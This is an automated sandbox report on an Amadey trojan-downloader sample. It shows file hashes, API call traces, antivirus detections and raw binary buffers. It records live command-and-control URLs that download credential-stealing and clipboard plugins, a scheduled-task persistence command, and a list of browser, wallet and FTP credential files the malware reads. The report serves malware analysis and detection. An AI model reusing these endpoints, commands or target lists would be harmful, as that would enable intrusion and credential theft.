popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

amadey.exe

Amadey Generic Malware Malicious Library UPX Malicious Packer PE64 PE File DLL OS Processor Check JPEG Format PE32
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Aug. 7, 2024, 9:58 a.m. Aug. 7, 2024, 10:01 a.m.
Size 260.0KB
Type PE32 executable (GUI) Intel 80386, for MS Windows
MD5 107c3b33e05d1d569cccc2052e56055e
SHA256 6338b823d5172f0321814534c1d7aff08a60132c62de48c2752c2c7dfc191228
CRC32 B09810CA
ssdeep 6144:og7RU92ushCQjrnlNTnbWRp1MHuqbMlAOxyYizl7:mTshCQjrnlluMHuqberyT7
PDB Path D:\Mktmp\Amadey\Release\Amadey.pdb
Yara
  • Malicious_Library_Zero - Malicious_Library
  • PE_Header_Zero - PE File Signature
  • Malicious_Packer_Zero - Malicious Packer
  • IsPE32 - (no description)
  • UPX_Zero - UPX packed file
  • Generic_Malware_Zero - Generic Malware
  • OS_Processor_Check_Zero - OS Processor Check

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
110.42.3.95 Active Moloch
116.202.81.93 Active Moloch
118.25.101.87 Active Moloch
119.176.96.94 Active Moloch
125.229.77.252 Active Moloch
146.148.25.153 Active Moloch
155.159.241.238 Active Moloch
157.97.109.159 Active Moloch
162.0.211.158 Active Moloch
162.240.68.86 Active Moloch
178.17.168.102 Active Moloch
182.92.155.50 Active Moloch
184.154.46.96 Active Moloch
80.66.75.214 Active Moloch
197.234.223.180 Active Moloch
213.100.160.101 Active Moloch
213.199.32.146 Active Moloch
34.43.67.154 Active Moloch
37.16.7.184 Active Moloch
38.249.14.69 Active Moloch
38.249.8.144 Active Moloch
47.99.144.17 Active Moloch
63.134.234.92 Active Moloch
68.183.179.133 Active Moloch
77.246.158.216 Active Moloch
79.124.17.242 Active Moloch
79.96.222.94 Active Moloch
83.243.47.17 Active Moloch
87.230.85.251 Active Moloch

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: SUCCESS: The scheduled task "Utsysc.exe" has successfully been created.
console_handle: 0x00000007
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
pdb_path D:\Mktmp\Amadey\Release\Amadey.pdb
file C:\Program Files\Mozilla Firefox\firefox.exe
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe\Path
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
suspicious_features POST method with no referer header, POST method with no useragent header, Connection to IP address suspicious_request POST http://80.66.75.214/g8djmsaxA/index.php
suspicious_features POST method with no referer header, POST method with no useragent header, Connection to IP address suspicious_request POST http://80.66.75.214/g8djmsaxA/index.php?scr=1
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://80.66.75.214/g8djmsaxA/Plugins/cred64.dll
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://80.66.75.214/g8djmsaxA/Plugins/clip64.dll
request POST http://80.66.75.214/g8djmsaxA/index.php
request POST http://80.66.75.214/g8djmsaxA/index.php?scr=1
request GET http://80.66.75.214/g8djmsaxA/Plugins/cred64.dll
request GET http://80.66.75.214/g8djmsaxA/Plugins/clip64.dll
request POST http://80.66.75.214/g8djmsaxA/index.php
request POST http://80.66.75.214/g8djmsaxA/index.php?scr=1
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 1044
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fb0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1236
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000004bb0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2928
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73432000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2928
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x75931000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2928
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x76e01000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2928
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x752e1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2928
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x746b0000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2928
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73441000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2928
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73f91000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2928
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73f71000
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local State
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data-wal
file C:\Users\test22\AppData\Local\Chromium\User Data\Default\Login Data
file C:\Users\test22\AppData\Roaming\110809d565579c\clip64.dll
file C:\Users\test22\AppData\Roaming\110809d565579c\cred64.dll
cmdline SCHTASKS /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\test22\AppData\Local\Temp\466504e025\Utsysc.exe" /F
cmdline "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\test22\AppData\Local\Temp\466504e025\Utsysc.exe" /F
file C:\Users\test22\AppData\Local\Temp\466504e025\Utsysc.exe
file C:\Users\test22\AppData\Roaming\110809d565579c\clip64.dll
file C:\Users\test22\AppData\Local\Temp\466504e025\Utsysc.exe
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\AppData\Local\Temp\466504e025\Utsysc.exe
parameters:
filepath: C:\Users\test22\AppData\Local\Temp\466504e025\Utsysc.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: SCHTASKS
parameters: /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\test22\AppData\Local\Temp\466504e025\Utsysc.exe" /F
filepath: SCHTASKS
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: rundll32.exe
parameters: C:\Users\test22\AppData\Roaming\110809d565579c\cred64.dll, Main
filepath: rundll32.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: rundll32.exe
parameters: C:\Users\test22\AppData\Roaming\110809d565579c\clip64.dll, Main
filepath: rundll32.exe
1 1 0
Time & API Arguments Status Return Repeated

Process32NextW

 snapshot_handle: 0x0000000000000128
process_name: taskhost.exe
process_identifier: 804
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000128
process_name: cmd.exe
process_identifier: 300
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000128
process_name: SearchProtocolHost.exe
process_identifier: 316
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000128
process_name: SearchFilterHost.exe
process_identifier: 108
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000128
process_name: Utsysc.exe
process_identifier: 2184
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000128
process_name: svchost.exe
process_identifier: 2528
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000128
process_name: mscorsvw.exe
process_identifier: 2556
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000128
process_name: mscorsvw.exe
process_identifier: 2600
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000128
process_name: sppsvc.exe
process_identifier: 2648
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000128
process_name: rundll32.exe
process_identifier: 2708
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000128
process_name: rundll32.exe
process_identifier: 2752
1 1 0
Time & API Arguments Status Return Repeated

InternetReadFile

 buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $1óM#u’#pu’#pu’#p.ú'qg’#p.ú q~’#p.ú&qŒ#p ÿ&q3’#p ÿ'qz’#p ÿ q|’#p.ú"qx’#pu’"p´’#pîü*qq’#pîü#qt’#pîüÜpt’#pîü!qt’#pRichu’#pPEd†¶veð" \H± €À` !Xx!ŒøИ¬ àÀ7p08pè.textøZ\ `.rdataâÅpÆ`@@.dataL@B&@À.pdata˜¬Ð®h@@_RDATA”€@@.rsrcø@@.relocà @BHƒì(A¸ HgH à[èƒË H $HƒÄ(鯝 ÌÌÌHƒì(A¸ H_H pbèSË H L$HƒÄ(é ÌÌÌHƒì(A¸HSH @cè#Ë H Œ$HƒÄ(éO ÌÌÌHƒì(A¸ H/H Ð\èóÊ H Ì$HƒÄ(é ÌÌÌHƒì(A¸H'H  aèÃÊ H %HƒÄ(éïœ ÌÌÌHƒì(A¸HH 0Zè“Ê H L%HƒÄ(鿜 ÌÌÌHƒì(E3ÀH‚oH #bèfÊ H %HƒÄ(钜 ÌÌÌÌÌÌHƒì(E3ÀHRoH “bè6Ê H Ï%HƒÄ(ébœ ÌÌÌÌÌÌHƒì(E3ÀH"oH \èÊ H &HƒÄ(é2œ ÌÌÌÌÌÌHƒì(E3ÀHònH óXèÖÉ H O&HƒÄ(éœ ÌÌÌÌÌÌHƒì(A¸H? H ÀYè£É H Œ&HƒÄ(éϛ ÌÌÌHƒì(A¸H H eèsÉ H Ì&HƒÄ(韛 ÌÌÌHƒì(A¸Hÿ H À`èCÉ H 'HƒÄ(éo› ÌÌÌHƒì(A¸Hß H pWèÉ H L'HƒÄ(é?› ÌÌÌHƒì(A¸H¿ H `ZèãÈ H Œ'HƒÄ(é› ÌÌÌHƒì(A¸ H¯ H ]è³È H Ì'HƒÄ(éߚ ÌÌÌHƒì(A¸H H €]èƒÈ H (HƒÄ(鯚 ÌÌÌHƒì(A¸Hk H 0[èSÈ H L(HƒÄ(éš ÌÌÌHƒì(A¸HG H `\è#È H Œ(HƒÄ(éOš ÌÌÌHƒì(A¸H/ H °^èóÇ H Ì(HƒÄ(éš ÌÌÌHƒì(A¸ H H `_èÃÇ H )HƒÄ(éï™ ÌÌÌHƒì(A¸LHï H Zè“Ç H L)HƒÄ(鿙 ÌÌÌHƒì(A¸H H `VècÇ H Œ)HƒÄ(鏙 ÌÌÌHƒì(A¸dHÿ H pbè3Ç H Ì)HƒÄ(é_™ ÌÌÌHƒì(A¸H7 H €_èÇ H *HƒÄ(é/™ ÌÌÌHƒì(A¸H H ð\èÓÆ H L*HƒÄ(éÿ˜ ÌÌÌHƒì(A¸ H H àUè£Æ H Œ*HƒÄ(éϘ ÌÌÌHƒì(A¸ Hï H °]èsÆ H Ì*HƒÄ(韘 ÌÌÌHƒì(A¸(HÏ H \èCÆ H +HƒÄ(éo˜ ÌÌÌHƒì(A¸ HÏ H Ð_èÆ H L+HƒÄ(é?˜ ÌÌÌHƒì(A¸ H¯ H €bèãÅ H Œ+HƒÄ(é˜ ÌÌÌHƒì(A¸H H ]è³Å H Ì+HƒÄ(éߗ ÌÌÌHƒì(A¸Ho H  _èƒÅ H ,HƒÄ(鯗 ÌÌÌHƒì(A¸ H_ H YèSÅ H L,HƒÄ(é— ÌÌÌHƒì(A¸,H? H @Zè#Å H Œ,HƒÄ(éO— ÌÌÌHƒì(A¸H? H ÐXèóÄ H Ì,HƒÄ(é— ÌÌÌHƒì(A¸ H/ H €]èÃÄ H -HƒÄ(éï– ÌÌÌHƒì(A¸$H H Ð^è“Ä H L-HƒÄ(鿖 ÌÌÌHƒì(A¸H H @ZècÄ H Œ-HƒÄ(鏖 ÌÌÌHƒì(A¸Hï H pRè3Ä H Ì-HƒÄ(é_– ÌÌÌHƒì(A¸Hß H  ZèÄ H .HƒÄ(é/– ÌÌÌHƒì(A¸ HÏ H VèÓà H L.HƒÄ(éÿ• ÌÌÌHƒì(A¸ H¯ H  [è£Ã H Œ.HƒÄ(éϕ ÌÌÌHƒì(A¸ H§ H 0Xèsà H Ì.HƒÄ(韕 ÌÌÌHƒì(A¸ H? H àSèCà H /HƒÄ(éo• ÌÌÌHƒì(A¸Ho H 0Wèà H L/HƒÄ(é?• ÌÌÌHƒì(A¸HW H Sèã H Œ/HƒÄ(é• ÌÌÌHƒì(A¸ H7 H P]è³Â H Ì/HƒÄ(éߔ ÌÌÌHƒì(A¸LHßH ÀWèƒÂ H 0HƒÄ(鯔 ÌÌÌHƒì(A¸Hç H ÐWèS H L0HƒÄ(é” ÌÌÌHƒì(A¸dHïH  Xè# H Œ0HƒÄ(éO” ÌÌÌHƒì(A¸H— H P]èóÁ H Ì0HƒÄ(é” ÌÌÌHƒì(A¸H H À[èÃÁ H 1HƒÄ(éï“ ÌÌÌHƒì(A¸ Hg H Wè“Á H L1HƒÄ(鿓 ÌÌÌHƒì(A¸HG H €SècÁ H Œ1HƒÄ(鏓 ÌÌÌHƒì(A¸H H p]è3Á H Ì1HƒÄ(é_“ ÌÌÌHƒì(A¸H÷H  VèÁ H 2HƒÄ(é/“ ÌÌÌHƒì(A¸HÏH pTèÓÀ H L2HƒÄ(éÿ’ ÌÌÌHƒì(A¸H¯H ÀQè£À H Œ2HƒÄ(éϒ ÌÌÌHƒì(A¸HH NèsÀ H Ì2HƒÄ(韒 ÌÌÌHƒì(A¸ HH @WèCÀ H 3HƒÄ(éo’ ÌÌÌHƒì(A¸0H_H Ð[èÀ H L3HƒÄ(é?’ ÌÌÌHƒì(A¸ HgH À[èã¿ H Œ3HƒÄ(é’ ÌÌÌHƒì(A¸HGH p\賿 H Ì3HƒÄ(éߑ ÌÌÌ
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $'ö³c—jàc—jàc—jà8ÿiái—jà8ÿoáë—jà8ÿnáq—jà¶únál—jà¶úiár—jà¶úoáB—jà8ÿkád—jàc—kà—jàøùcá`—jàøùjáb—jàøù•àb—jàøùháb—jàRichc—jàPELĶveà! ’!g à@ zœ<{P°øÀ°o8èo@ H.textV  `.rdata b d@@.data v@À.rsrcø°‚@@.relocÀ„@Bj hèl¹p˜èßHhè­SYÃÌÌÌj h m¹ˆ˜è¿Hh`èSYÃÌÌÌjh0m¹ ˜èŸHhÀèmSYÃÌÌÌjhDm¹¸˜èHh èMSYÃÌÌÌjham¹Ð˜è_Hh€è-SYÃÌÌÌjham¹è˜è?Hhàè SYÃÌÌÌjham¹™èHh@èíRYÃÌÌÌjham¹™èÿGh èÍRYÃÌÌÌhè¾RYÃÌÌÌÌh`è®RYÃÌÌÌÌhÀèžRYÃÌÌÌÌj?hèm¹x™è¯Gh è}RYÃÌÌÌhènRYÃÌÌÌÌh è^RYÃÌÌÌÌh@èNRYÃÌÌÌÌhàè>RYÃÌÌÌÌh€è.RYÃÌÌÌ̋ÁÂÌÌÌÌÌÌÌÌÌÌÌU‹ìV‹ñWÀFPÇÔ!f֋EƒÀPèb[ƒÄ‹Æ^]ÂÌÌ̋I¸¼l…ÉEÁÃÌÌU‹ìV‹ñFÇÔ!Pè“[ƒÄöEt j VèLNƒÄ‹Æ^]AÇÔ!Pèi[YÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌWÀ‹ÁfÖAÇAÐlÇ,"ÃÌÌÌÌÌÌÌÌU‹ìƒì MôèÒÿÿÿhˆzEôPè;[ÌÌÌÌU‹ìV‹ñWÀFPÇÔ!f֋EƒÀPè’ZƒÄÇ,"‹Æ^]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìV‹ñWÀFPÇÔ!f֋EƒÀPèRZƒÄÇà!‹Æ^]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìì„ƒ}SV‹ÙW‰]à„Ûƒ}0„у}H„Çj/hdmMÈÇEôÇEøÆEäÇEØÇEÜÆEÈèŽEjjjjh”mÿ,!ƒ}MjCMjjjjjPQP‰E´ÿ0!ƒ}4M jCM jjjjQh˜mP‰E¸ÿ4!ƒ}LU8ÿuHCU8Mȃ}Ü‹ðRÿuØCMÈQV‰uÀÿ8!EüPhÿ…€ûÿÿPVÿ<!…À„iƒ}ü„\…€ûÿÿÇE”ÇE˜PÆE„fDŠ@„Éuù+M„P…€ûÿÿPè§D‹MüE„9M”ÇE¬BM”ƒ}˜QCE„MœPÇE°ÆEœèvDƒ}°Uœ‹}œ‹MôC׋Eø‹]¬+Á‰MÄSR;Øw,ƒ}øuä Cuä‰EôPè«j‹Mč3‹uÀƒÄ ÆëÆE¼Mäÿu¼Sè™G‹}œ‹E°ƒør+H‹Çùr‹üƒÁ#+ǃÀüƒø‡˜QWèXKƒÄ‹U˜ƒúr,‹M„B‹Áúr‹IüƒÂ#+ÁƒÀüƒø‡dRQè$KƒÄ‹EüƄ€ûÿÿEüPhÿ…€ûÿÿPVÿ<!…À…šþÿÿ‹]àV‹5@!ÿÖÿu¸ÿÖÿu´ÿÖEä‹UܸÆEäó~EôfÖCÇEô‰Eøƒúr/‹MÈB‹Áúr‹IüƒÂ#+ÁƒÀüƒø‡ÌRQèŒJ‹EøƒÄÇEØÇEÜÆEȃør.‹MäP‹Áúr‹IüƒÂ#+ÁƒÀüƒø‡„RQèDJƒÄ‹UÇEôÇEøÆEäƒúr,‹MB‹Áúr‹IüƒÂ#+ÁƒÀüƒø‡>RQèþIƒÄ‹U4ÇEÇEÆEƒúr,‹M B‹Áúr‹IüƒÂ#+ÁƒÀüƒø‡øRQè¸IƒÄ‹ULÇE0ÇE4ÆE ƒú‚Ç‹M8B‹Áú‚«‹IüƒÂ#+ÁƒÀüƒø‡ªé’jhamÇCÇCÆèÝA‹Uƒúr(‹MB‹Áúr‹IüƒÂ#+ÁƒÀüƒøwbRQè"IƒÄ‹U4ÇEÇEÆEƒú‚Lÿÿÿ‹M B‹Áú‚0ÿÿÿ‹IüƒÂ#+ÁƒÀüƒøwéÿÿÿRQèÓHƒÄ_^‹Ã[‹å]ÃèðnÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìƒì<¹`™SVW‹=@™3öVham3ÛèA…ÿ„–DCOãÿ€yKËÿÿÿCŠ‹ð¥¶Ñòæÿ€yNÎÿÿÿF¶†ð¥ˆƒð¥ˆŽð¥Mඃð¥‰uø¶ÀjÇEðÇEô¶€ð¥ˆEÿEÿPÆEàè—@Eàº`™PMÈèÆA‹ðƒÄþ`™t|‹ t™ƒùr.¡`™Aùr‹PüƒÁ#+ƒÀüƒø‡Ô‹ÂQPèµGƒÄÇp™Çt™Æ`™`™ó~FfÖp™ÇFÇFÆ‹U܃úr(‹MÈB‹Áúr‹IüƒÂ#+ÁƒÀüƒøw_RQèBGƒÄ‹UôÇEØÇEÜÆEȃúr(‹MàB‹Áúr‹IüƒÂ#+ÁƒÀüƒøwRQèGƒÄ…ÿt‹uøéoþÿÿ_^[‹å]ÃèmÌÌÌU‹ìƒì<SVW‹ùÇGÇGÆèþÿÿ¡t™¾`™‹`™ƒø»0™Còƒ=D™C0™+މ]øƒø¹`™¡p™CÊÁ;ð„*Š3Mà2ˆEÿEÿjPÇEðÇEôÆEàèÞ>Eà‹×PMÈè@‹ØƒÄ;ûte‹Oƒùr+‹Aùr‹PüƒÁ#+ƒÀüƒø‡Í‹ÂQPè FƒÄÇGÇGÆó~CfÖGÇCÇCÆ‹U܃úr(‹MÈB‹Áúr‹IüƒÂ#+ÁƒÀüƒøwiRQè§EƒÄ‹UôÇEØÇEÜÆEȃúr(‹MàB‹Áúr‹IüƒÂ#+ÁƒÀüƒøw'RQèeEƒÄ¡t™F‹`™‹]øé¼þÿÿ‹Ç_^[‹å]ÃènkÌÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìQƒ}4E SCE VWÿu0‰Mü¹H™Pè=ƒ}EÿuCE¹0™Pè„=‹5X™3ۋ=\™fDƒÿˆ›ð¥‹Ã¹H™C H™™÷þŠ ˆƒð¤Cû|Ô3ÿ3öŠ–𥶆ð¤ø¶Êùçÿ€yOÏÿÿÿGŠ‡ð¥ˆ†ð¥Fˆ—ð¥þ|Á‹uü‹Îè‡ýÿÿ‹Uƒúr
request_handle: 0x00cc000c
1 1 0
cmdline SCHTASKS /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\test22\AppData\Local\Temp\466504e025\Utsysc.exe" /F
cmdline netsh wlan show profiles
cmdline "C:\Users\test22\AppData\Local\Temp\466504e025\Utsysc.exe"
cmdline "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\test22\AppData\Local\Temp\466504e025\Utsysc.exe" /F
cmdline C:\Users\test22\AppData\Local\Temp\466504e025\Utsysc.exe
host 110.42.3.95
host 116.202.81.93
host 118.25.101.87
host 119.176.96.94
host 125.229.77.252
host 146.148.25.153
host 155.159.241.238
host 157.97.109.159
host 162.0.211.158
host 162.240.68.86
host 178.17.168.102
host 182.92.155.50
host 184.154.46.96
host 80.66.75.214
host 197.234.223.180
host 213.100.160.101
host 213.199.32.146
host 34.43.67.154
host 37.16.7.184
host 38.249.14.69
host 38.249.8.144
host 47.99.144.17
host 63.134.234.92
host 68.183.179.133
host 77.246.158.216
host 79.124.17.242
host 79.96.222.94
host 83.243.47.17
host 87.230.85.251
file C:\ProgramData\AVAST Software
file C:\ProgramData\Avira
file C:\ProgramData\Kaspersky Lab
file C:\ProgramData\Panda Security
file C:\ProgramData\Bitdefender
file C:\ProgramData\AVG
file C:\ProgramData\Doctor Web
cmdline SCHTASKS /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\test22\AppData\Local\Temp\466504e025\Utsysc.exe" /F
cmdline "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\test22\AppData\Local\Temp\466504e025\Utsysc.exe" /F
file C:\Users\test22\AppData\Roaming\Electrum\wallets
file C:\Users\test22\AppData\Roaming\Litecoin\wallets
file C:\Users\test22\AppData\Roaming\FileZilla\sitemanager.xml
registry HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
file C:\Windows\Microsoft.NET\Framework64\v4.0.30319\.purple\accounts.xml
file C:\Windows\.purple\accounts.xml
file C:\Python27\.purple\accounts.xml
file C:\Windows\System32\.purple\accounts.xml
file C:\.purple\accounts.xml
file C:\SystemRoot\System32\.purple\accounts.xml
file C:\Program Files (x86)\Internet Explorer\.purple\accounts.xml
file C:\Windows\Microsoft.NET\Framework\v4.0.30319\.purple\accounts.xml
file C:\Users\test22\AppData\Local\Temp\466504e025\.purple\accounts.xml
file C:\Program Files (x86)\Microsoft Office\Office15\.purple\accounts.xml
file C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\.purple\accounts.xml
file C:\Users\test22\AppData\Roaming\.purple\accounts.xml
file C:\Windows\SysWOW64\.purple\accounts.xml
file C:\Program Files (x86)\EditPlus\.purple\accounts.xml
file C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\.purple\accounts.xml
registry HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\SMTP Server
registry HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\SMTP Server
Bkav W32.AIDetectMalware
Lionic Trojan.Win32.Amadey.4!c
Elastic malicious (high confidence)
Cynet Malicious (score: 100)
Skyhigh BehavesLike.Win32.Downloader.dh
ALYac Gen:Variant.Zusy.446510
Cylance Unsafe
VIPRE Gen:Variant.Zusy.446510
Sangfor Trojan.Win32.Save.a
K7AntiVirus Trojan ( 005a7a4a1 )
Alibaba TrojanDownloader:Win32/Amadey.b6d38fe6
K7GW Trojan ( 005a7a4a1 )
Cybereason malicious.3e05d1
Arcabit Trojan.Zusy.D6D02E
Symantec ML.Attribute.HighConfidence
ESET-NOD32 a variant of Win32/TrojanDownloader.Amadey.A
APEX Malicious
McAfee Downloader-FCND!107C3B33E05D
Paloalto generic.ml
ClamAV Win.Downloader.Amadey-10017867-0
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Gen:Variant.Zusy.446510
MicroWorld-eScan Gen:Variant.Zusy.446510
Rising Downloader.Amadey!8.125AC (CLOUD)
Emsisoft Gen:Variant.Zusy.446510 (B)
F-Secure Trojan:W32/Amadey.A
McAfeeD ti!6338B823D517
Trapmine suspicious.low.ml.score
FireEye Generic.mg.107c3b33e05d1d56
Sophos Mal/Amadey-C
SentinelOne Static AI - Malicious PE
Google Detected
Avira HEUR/AGEN.1375090
MAX malware (ai score=88)
Kingsoft Win32.Troj.Unknown.a
Gridinsoft Trojan.Amadey.65344.dd!yf
Microsoft Trojan:Win32/Amadey!pz
ZoneAlarm UDS:DangerousObject.Multi.Generic
GData Win32.Trojan-Downloader.Amadey.D
Varist W32/Amadey.C1.gen!Eldorado
AhnLab-V3 Malware/Win.Trojanspy.C5238800
BitDefenderTheta Gen:NN.ZexaF.36810.quW@aymJhBgi
DeepInstinct MALICIOUS
Malwarebytes Generic.Malware/Suspicious
Ikarus Trojan-Downloader.Win32.Amadey
TrendMicro-HouseCall TROJ_GEN.R002C0DH624
Tencent Win32.Trojan.Agen.Pgil
huorong TrojanDownloader/Amadey.p
Fortinet W32/Amadey.A!tr
Panda Trj/Genetic.gen
dead_host 192.168.56.103:57971
dead_host 192.168.56.103:57959
dead_host 192.168.56.103:57117
dead_host 192.168.56.103:57734
dead_host 192.168.56.103:57949
dead_host 192.168.56.103:57955
dead_host 192.168.56.103:57972
dead_host 192.168.56.103:57721
dead_host 192.168.56.103:57966
dead_host 192.168.56.103:57942
dead_host 192.168.56.103:57806
dead_host 192.168.56.103:57103